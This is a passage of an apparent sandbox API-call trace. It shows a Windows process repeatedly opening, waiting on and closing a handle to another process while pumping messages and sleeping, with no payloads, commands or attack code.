OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.338] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.352] CloseHandle (hObject=0x8bc) returned 1 [0254.352] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.352] Sleep (dwMilliseconds=0x1) [0254.368] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.368] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.383] CloseHandle (hObject=0x8bc) returned 1 [0254.383] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.384] Sleep (dwMilliseconds=0x1) [0254.399] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.399] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.414] CloseHandle (hObject=0x8bc) returned 1 [0254.414] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.414] Sleep (dwMilliseconds=0x1) [0254.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.430] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.446] CloseHandle (hObject=0x8bc) returned 1 [0254.446] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.446] Sleep (dwMilliseconds=0x1) [0254.472] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.472] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.476] CloseHandle (hObject=0x8bc) returned 1 [0254.476] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.476] Sleep (dwMilliseconds=0x1) [0254.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.492] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.508] CloseHandle (hObject=0x8bc) returned 1 [0254.508] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.508] Sleep (dwMilliseconds=0x1) [0254.524] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.524] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.725] CloseHandle (hObject=0x8bc) returned 1 [0254.725] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.725] Sleep (dwMilliseconds=0x1) [0254.729] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.729] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.745] CloseHandle (hObject=0x8bc) returned 1 [0254.745] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.745] Sleep (dwMilliseconds=0x1) [0254.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.758] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.773] CloseHandle (hObject=0x8bc) returned 1 [0254.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.774] Sleep (dwMilliseconds=0x1) [0254.791] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.791] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.805] CloseHandle (hObject=0x8bc) returned 1 [0254.805] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.805] Sleep (dwMilliseconds=0x1) [0254.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8bc [0254.820] WaitForSingleObject (hHandle=0x8bc, dwMilliseconds=0xa) returned 0x102 [0254.882] CloseHandle (hObject=0x8bc) returned 1 [0254.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.882] Sleep (dwMilliseconds=0x1) [0254.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8c4 [0254.904] WaitForSingleObject (hHandle=0x8c4, dwMilliseconds=0xa) returned 0x102 [0254.914] CloseHandle (hObject=0x8c4) returned 1 [0254.914] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.914] Sleep (dwMilliseconds=0x1) [0254.930] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8c4 [0254.930] WaitForSingleObject (hHandle=0x8c4, dwMilliseconds=0xa) returned 0x102 [0254.945] CloseHandle (hObject=0x8c4) returned 1 [0254.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.945] Sleep (dwMilliseconds=0x1) [0254.962] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8c4 [0254.962] WaitForSingleObject (hHandle=0x8c4, dwMilliseconds=0xa) returned 0x102 [0254.978] CloseHandle (hObject=0x8c4) returned 1 [0254.978] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.978] Sleep (dwMilliseconds=0x1) [0254.994] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0254.994] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.012] CloseHandle (hObject=0x8cc) returned 1 [0255.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.012] Sleep (dwMilliseconds=0x1) [0255.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0255.023] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.046] CloseHandle (hObject=0x8cc) returned 1 [0255.046] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.046] Sleep (dwMilliseconds=0x1) [0255.055] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0255.055] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.065] CloseHandle (hObject=0x8cc) returned 1 [0255.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.065] Sleep (dwMilliseconds=0x1) [0255.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0255.067] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.077] CloseHandle (hObject=0x8cc) returned 1 [0255.077] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.077] Sleep (dwMilliseconds=0x1) [0255.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0255.078] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.102] CloseHandle (hObject=0x8cc) returned 1 [0255.102] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.102] Sleep (dwMilliseconds=0x1) [0255.117] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0255.117] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.133] CloseHandle (hObject=0x8cc) returned 1 [0255.133] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.133] Sleep (dwMilliseconds=0x1) [0255.148] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8cc [0255.149] WaitForSingleObject (hHandle=0x8cc, dwMilliseconds=0xa) returned 0x102 [0255.168] CloseHandle (hObject=0x8cc) returned 1 [0255.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.168] Sleep (dwMilliseconds=0x1) [0255.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8dc [0255.189] WaitForSingleObject (hHandle=0x8dc, dwMilliseconds=0xa) returned 0x102 [0255.195] CloseHandle (hObject=0x8dc) returned 1 [0255.195] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.195] Sleep (dwMilliseconds=0x1) [0255.212] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8dc [0255.212] WaitForSingleObject (hHandle=0x8dc, dwMilliseconds=0xa) returned 0x102 [0255.227] CloseHandle (hObject=0x8dc) returned 1 [0255.228] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.228] Sleep (dwMilliseconds=0x1) [0255.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8dc [0255.231] WaitForSingleObject (hHandle=0x8dc, dwMilliseconds=0xa) returned 0x102 [0255.250] CloseHandle (hObject=0x8dc) returned 1 [0255.250] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.250] Sleep (dwMilliseconds=0x1) [0255.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8e8 [0255.264] WaitForSingleObject (hHandle=0x8e8, dwMilliseconds=0xa) returned 0x102 [0255.282] CloseHandle (hObject=0x8e8) returned 1 [0255.282] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.283] Sleep (dwMilliseconds=0x1) [0255.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x904 [0255.308] WaitForSingleObject (hHandle=0x904, dwMilliseconds=0xa) returned 0x102 [0255.311] CloseHandle (hObject=0x904) returned 1 [0255.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.311] Sleep (dwMilliseconds=0x1) [0255.329] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x918 [0255.329] WaitForSingleObject (hHandle=0x918, dwMilliseconds=0xa) returned 0x102 [0255.350] CloseHandle (hObject=0x918) returned 1 [0255.350] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.350] Sleep (dwMilliseconds=0x1) [0255.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x934 [0255.358] WaitForSingleObject (hHandle=0x934, dwMilliseconds=0xa) returned 0x102 [0255.373] CloseHandle (hObject=0x934) returned 1 [0255.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.373] Sleep (dwMilliseconds=0x1) [0255.394] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x94c [0255.394] WaitForSingleObject (hHandle=0x94c, dwMilliseconds=0xa) returned 0x102 [0255.404] CloseHandle (hObject=0x94c) returned 1 [0255.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.404] Sleep (dwMilliseconds=0x1) [0255.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x95c [0255.420] WaitForSingleObject (hHandle=0x95c, dwMilliseconds=0xa) returned 0x102 [0255.438] CloseHandle (hObject=0x95c) returned 1 [0255.438] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.438] Sleep (dwMilliseconds=0x1) [0255.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x978 [0255.452] WaitForSingleObject (hHandle=0x978, dwMilliseconds=0xa) returned 0x102 [0255.469] CloseHandle (hObject=0x978) returned 1 [0255.469] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.469] Sleep (dwMilliseconds=0x1) [0255.485] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x998 [0255.485] WaitForSingleObject (hHandle=0x998, dwMilliseconds=0xa) returned 0x102 [0255.498] CloseHandle (hObject=0x998) returned 1 [0255.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.498] Sleep (dwMilliseconds=0x1) [0255.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x998 [0255.514] WaitForSingleObject (hHandle=0x998, dwMilliseconds=0xa) returned 0x102 [0255.530] CloseHandle (hObject=0x998) returned 1 [0255.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.530] Sleep (dwMilliseconds=0x1) [0255.546] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9a8 [0255.546] WaitForSingleObject (hHandle=0x9a8, dwMilliseconds=0xa) returned 0x102 [0255.560] CloseHandle (hObject=0x9a8) returned 1 [0255.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.561] Sleep (dwMilliseconds=0x1) [0255.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9a8 [0255.576] WaitForSingleObject (hHandle=0x9a8, dwMilliseconds=0xa) returned 0x102 [0255.592] CloseHandle (hObject=0x9a8) returned 1 [0255.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.592] Sleep (dwMilliseconds=0x1) [0255.611] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9b0 [0255.611] WaitForSingleObject (hHandle=0x9b0, dwMilliseconds=0xa) returned 0x102 [0255.623] CloseHandle (hObject=0x9b0) returned 1 [0255.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.623] Sleep (dwMilliseconds=0x1) [0255.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9b0 [0255.639] WaitForSingleObject (hHandle=0x9b0, dwMilliseconds=0xa) returned 0x102 [0255.654] CloseHandle (hObject=0x9b0) returned 1 [0255.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.654] Sleep (dwMilliseconds=0x1) [0255.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9b0 [0255.670] WaitForSingleObject (hHandle=0x9b0, dwMilliseconds=0xa) returned 0x102 [0255.686] CloseHandle (hObject=0x9b0) returned 1 [0255.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.686] Sleep (dwMilliseconds=0x1) [0255.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9b0 [0255.701] WaitForSingleObject (hHandle=0x9b0, dwMilliseconds=0xa) returned 0x102 [0255.722] CloseHandle (hObject=0x9b0) returned 1 [0255.722] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.722] Sleep (dwMilliseconds=0x1) [0255.744] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.744] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.748] CloseHandle (hObject=0x9c0) returned 1 [0255.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.748] Sleep (dwMilliseconds=0x1) [0255.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.764] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.779] CloseHandle (hObject=0x9c0) returned 1 [0255.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.780] Sleep (dwMilliseconds=0x1) [0255.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.795] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.810] CloseHandle (hObject=0x9c0) returned 1 [0255.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.810] Sleep (dwMilliseconds=0x1) [0255.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.826] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.842] CloseHandle (hObject=0x9c0) returned 1 [0255.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.842] Sleep (dwMilliseconds=0x1) [0255.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.857] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.873] CloseHandle (hObject=0x9c0) returned 1 [0255.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.873] Sleep (dwMilliseconds=0x1) [0255.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.889] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.913] CloseHandle (hObject=0x9c0) returned 1 [0255.913] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.913] Sleep (dwMilliseconds=0x1) [0255.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.920] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.936] CloseHandle (hObject=0x9c0) returned 1 [0255.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.936] Sleep (dwMilliseconds=0x1) [0255.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.951] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.967] CloseHandle (hObject=0x9c0) returned 1 [0255.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.967] Sleep (dwMilliseconds=0x1) [0255.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0255.982] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0255.998] CloseHandle (hObject=0x9c0) returned 1 [0255.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0255.998] Sleep (dwMilliseconds=0x1) [0256.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0256.014] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0256.029] CloseHandle (hObject=0x9c0) returned 1 [0256.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.029] Sleep (dwMilliseconds=0x1) [0256.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0256.045] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0256.060] CloseHandle (hObject=0x9c0) returned 1 [0256.060] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.060] Sleep (dwMilliseconds=0x1) [0256.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9c0 [0256.078] WaitForSingleObject (hHandle=0x9c0, dwMilliseconds=0xa) returned 0x102 [0256.098] CloseHandle (hObject=0x9c0) returned 1 [0256.098] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.098] Sleep (dwMilliseconds=0x1) [0256.111] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9d4 [0256.111] WaitForSingleObject (hHandle=0x9d4, dwMilliseconds=0xa) returned 0x102 [0256.123] CloseHandle (hObject=0x9d4) returned 1 [0256.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.123] Sleep (dwMilliseconds=0x1) [0256.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9d4 [0256.139] WaitForSingleObject (hHandle=0x9d4, dwMilliseconds=0xa) returned 0x102 [0256.155] CloseHandle (hObject=0x9d4) returned 1 [0256.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.155] Sleep (dwMilliseconds=0x1) [0256.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9d4 [0256.170] WaitForSingleObject (hHandle=0x9d4, dwMilliseconds=0xa) returned 0x102 [0256.185] CloseHandle (hObject=0x9d4) returned 1 [0256.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.186] Sleep (dwMilliseconds=0x1) [0256.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9d4 [0256.201] WaitForSingleObject (hHandle=0x9d4, dwMilliseconds=0xa) returned 0x102 [0256.217] CloseHandle (hObject=0x9d4) returned 1 [0256.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.217] Sleep (dwMilliseconds=0x1) [0256.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9d4 [0256.232] WaitForSingleObject (hHandle=0x9d4, dwMilliseconds=0xa) returned 0x102 [0256.249] CloseHandle (hObject=0x9d4) returned 1 [0256.249] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.249] Sleep (dwMilliseconds=0x1) [0256.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9d8 [0256.264] WaitForSingleObject (hHandle=0x9d8, dwMilliseconds=0xa) returned 0x102 [0256.285] CloseHandle (hObject=0x9d8) returned 1 [0256.287] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.287] Sleep (dwMilliseconds=0x1) [0256.296] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9e0 [0256.297] WaitForSingleObject (hHandle=0x9e0, dwMilliseconds=0xa) returned 0x102 [0256.314] CloseHandle (hObject=0x9e0) returned 1 [0256.314] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.314] Sleep (dwMilliseconds=0x1) [0256.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, 